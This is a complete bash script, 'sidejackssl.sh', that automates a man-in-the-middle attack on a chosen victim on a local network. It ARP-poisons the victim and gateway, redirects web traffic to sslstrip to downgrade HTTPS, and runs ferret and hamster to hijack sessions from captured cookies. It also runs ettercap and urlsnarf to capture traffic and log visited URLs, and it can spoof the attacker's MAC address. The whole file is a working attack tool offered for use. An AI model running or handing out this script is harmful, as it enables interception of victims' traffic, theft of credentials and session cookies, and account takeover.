#!/bin/bash

# sidejackssl.sh v0.1
# tested in backtrack 4 R2 environment, run as root.
# xterm used for window control
# arpspoof poisons a single victim and gateway
# ferret and hamster for sidejacking
# sslstrip for https
# ettercap for everything else
# urlsnarf to monitor visited urls
# firefox needs to be configured with a proxy of 127.0.0.1:1234
# url for hamster server is http://hamster
# by gorara

# a few variables (do not change)
m1="0"                  # missing file var m1
m2="0"                  # missing file var m2
m3="0"                  # missing file var m3
m4="0"                  # missing file var m4
quickclean="0"              # used for quick clean up
randmac="n"             # default setting do not randomize MAC
hamsterfile="hamster.txt"       # hamster output file (you can't change it)
trap 'cleanup' SIGINT SIGTERM       # detect control-c

# a few more variables (change these if required)

# xterm window variables
x="0"                   # x offset value
y="0"                   # y offset value
width="120"             # width value
height="7"              # height value
yoffset="120"               # y offset
fgcolor="white"             # foreground color
bgcolor="black"             # background color

# style variables
warnstyle="[\e[01;38mw\e[00m]"      # warning msgs style
execstyle="[\e[01;32mx\e[00m]"      # execute msgs style
infostyle="[\e[01;34mi\e[00m]"      # informational msgs style
inputstyle="[\e[01;30m?\e[00m]"     # input msgs style

# file variables
sslstripfile="sslstrip.log"     # sslstrip output file name
snifffile="sniff-*"         # hamster sniff file wildcard
etterfile="etter.cap"           # ettercap output cap file
temp="/tmp"             # temporary dir

function usage
{
    clear
    echo "Usage: bash $0 -i interface -t target -g gateway [-r] [-h]"
    echo ""
    echo "  -i interface    interface to use, ex. eth0, wlan0."
    echo "  -t target   the target IP address."
    echo "  -g gateway  the gateway IP address."
    echo "  -r      randomize your MAC address,"
    echo "          only use for wired interfaces."
    echo "  -h      display this help screen."
    echo ""
    echo "  examples: "
    echo "   bash $0 -i eth0 -t 192.168.0.1 -g 192.168.0.254 -r"
    echo "   bash $0 -i wlan0 -t 192.168.0.1 -g 192.168.0.254"
    echo ""
    exit 0
}

function cleanup() {
echo -e "\n$warnstyle control-c pressed! "

# exit script if nothing has been modified
if [[ "$quickclean" = "1" ]]; then
echo -e "$infostyle nothing changed, all done!"
exit 0
fi

echo -e "$infostyle cleaning up..."
echo -e "$execstyle flushing iptables..."
iptables -F
iptables -t nat -F

echo -e "$execstyle turning off IP forwarding..."
echo "0" > /proc/sys/net/ipv4/ip_forward

# change back MAC address to orignal one
if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
echo -e "$execstyle resetting MAC address...";
echo -e "$infostyle original MAC is: $origmac"
ifconfig $interface down
ifconfig $interface hw ether $origmac
ifconfig $interface up
    if [ -z $gw ]; then
    echo -e "$warnstyle WARNING, you have no default gateway!"
    else
    route add default gw $gw
    fi
rm $temp/mac.orig
rm $temp/gw.orig
fi

echo -e "$execstyle cleaning up files..."
echo -e "$infostyle temp directory: "

# testing to see if files exist, if so display them...
    if [ -f $temp/$sslstripfile ]; then
    ls $temp/$sslstripfile
    else
    #echo -e "$warnstyle missing $sslstripfile"
    m1="1"
    fi

    if [ -f $temp/$etterfile ]; then
    ls $temp/$etterfile
    else
    #echo -e "$warnstyle missing $etterfile"
    m2="1"
    fi

echo -e "$infostyle current directory: "

    if [ -f $snifffile ]; then
    ls $snifffile
    else
    #echo -e "$warnstyle missing $snifffile"
    m3="1"
    fi

    if [ -f $hamsterfile ]; then
    ls $hamsterfile
    else
    #echo -e "$warnstyle missing $hamsterfile"
    m4="1"
    fi

# testing to see if there are any files at all
if [[ $m1 -eq 0 || $m2 -eq 0 || $m3 -eq 0 || $m4 -eq 0 ]]; then

while [[ "$delete" != "y" || "$delete" != "n" ]]

echo -en "$infostyle delete file(s)? [y/n]: "
read delete

do
    case "$delete" in
        y) delete_marker="y"; echo -e "$warnstyle deleting files!"; break;;
    n) echo -e "$warnstyle nothing deleted!"; break;;
        *) echo -e "$warnstyle wrong selection!";
    esac
done

# delete files as requested
if [[ "$delete_marker" = "y" ]]; then
    if [ -f $temp/$sslstripfile ]; then
    rm $temp/$sslstripfile
    fi

    if [ -f $temp/$etterfile ]; then
    rm $temp/$etterfile
    fi

    if [ -f $snifffile ]; then
    rm $snifffile
    fi

    if [ -f $hamsterfile ]; then
    rm $hamsterfile
    fi
fi

else

    echo -e "$warnstyle nothing to delete!"
fi

echo -e "$infostyle all done!"
exit 0
}


# start main program
if [ "$#" -eq 0 ]; then
usage
fi

while [ "$#" -gt 0 ]
do
    case "$1" in
        -i)  interface=$2; shift 1;;
    -r)  randmac="y"; shift 1;;
    -t)  target=$2; shift 1;;
    -g)  gateway=$2; shift 1;;
    -h)  usage;;
    -*)  usage; break;;
    *)  break;;
    esac
    shift
done

# required parameters
if [[ -z $interface || -z $target || -z $gateway ]]; then
usage
exit 0
fi

clear

if [[ "$randmac" = "y" ]]; then
mac="yes"
else
mac="no"
fi

# set quick cleanup flag
quickclean="1"

echo -e "$infostyle sidejacker/sslstrip script v0.1, by gorara"
echo -e "$infostyle ctrl-c to abort at any time."
echo -e "$infostyle attack summary:"
echo -e "$infostyle host $target and gateway $gateway from $interface, spoof MAC: $mac"

if [[ "$randmac" = "y" ]]; then

echo -e "$execstyle change of $interface MAC address requested."

if [[ "$interface" = wlan* || "$interface" = wifi* || "$interface" = ath* ]]; then
echo -e "$infostyle wireless device detected..."
echo -e "$warnstyle can't change MAC address without taking wifi interface down"
echo -e "$warnstyle do it manually before connecting to the AP."
exit 0
fi

if [[ "$interface" = eth* ]]; then
echo -e "$infostyle wired device detected..."
echo -e "$warnstyle WARNING, this will take your wired interface down temporarily."
echo -en "$inputstyle do you want to continue? [y/n]: "
read continue
    if [[ "$continue" = "y" ]]; then
    echo -e "$infostyle proceeding..."
    else
    echo -e "$infostyle exiting..."
    exit 0
    fi
fi

origmac=`ifconfig $interface | grep HWaddr | awk {'print $5'}`

fi

# before this, ctrl-c will exit script without doing anything.
quickclean="0"

# use macchanger to randomize MAC address, ect.
if [[ "$randmac" = "y" || "$randmac" = "Y" ]]; then
echo -e "$execstyle randomizing MAC address...";
gw=`route -n | grep UG | awk {'print $2'}` > $temp/gw.orig
ifconfig $interface down
macchanger -r $interface > $temp/mac.orig
ifconfig $interface up
    if [ -z $gw ]; then
    echo -e "$warnstyle WARNING, you have no default gateway!"
    else
    route add default gw $gw
    fi
origmac=`cat $temp/mac.orig | grep Current | awk {'print $3'}`
fakemac=`cat $temp/mac.orig | grep Faked | awk {'print $3'}`
echo -e "$infostyle original MAC is: $origmac"
echo -e "$infostyle faked    MAC is: $fakemac"
fi

echo -e "$execstyle turning on IP Forwarding..."
echo "1" > /proc/sys/net/ipv4/ip_forward

echo -e "$execstyle configuring iptables..."
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sleep 1

echo -e "$execstyle starting hamster  ... <logging to: $hamsterfile>"
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "hamster" -e /pentest/sniffers/hamster/hamster &
sleep 2

echo -e "$execstyle starting ferret   ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ferret" -e /pentest/sniffers/hamster/ferret -i $interface &
sleep 2

echo -e "$execstyle starting sslstrip ... <logging to: $temp/$sslstripfile>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "sslstrip" -e sslstrip -w $temp/$sslstripfile &
sleep 2

echo -e "$execstyle starting ettercap ... <logging to: $temp/$etterfile>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "ettercap" -e ettercap -Tqpi $interface -w $temp/$etterfile /$gateway/ /$target/ &
sleep 2

echo -e "$execstyle starting urlsnarf ... <logging to: console>"
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "urlsnarf" -e urlsnarf -i $interface &
sleep 2

echo -e "$infostyle trap is ready, now to direct traffic..."

echo -e "$execstyle ARP poisoning the target..."
y=$(($y+$yoffset))
xterm -geometry "$width"x$height+$x+$y -bg $bgcolor -fg $fgcolor -T "arpspoof" -e arpspoof -i $interface -t $target $gateway &
sleep 1

echo -e "$infostyle run firefox and type http://hamster"
echo -e "$infostyle don't forget to set proxy to 127.0.0.1:1234"
echo -e "$infostyle press ctrl-c to exit and clean up... \n"
for ((;;)) do
read loop
echo -en "$infostyle press ctrl-c to terminate!"
done

exit 0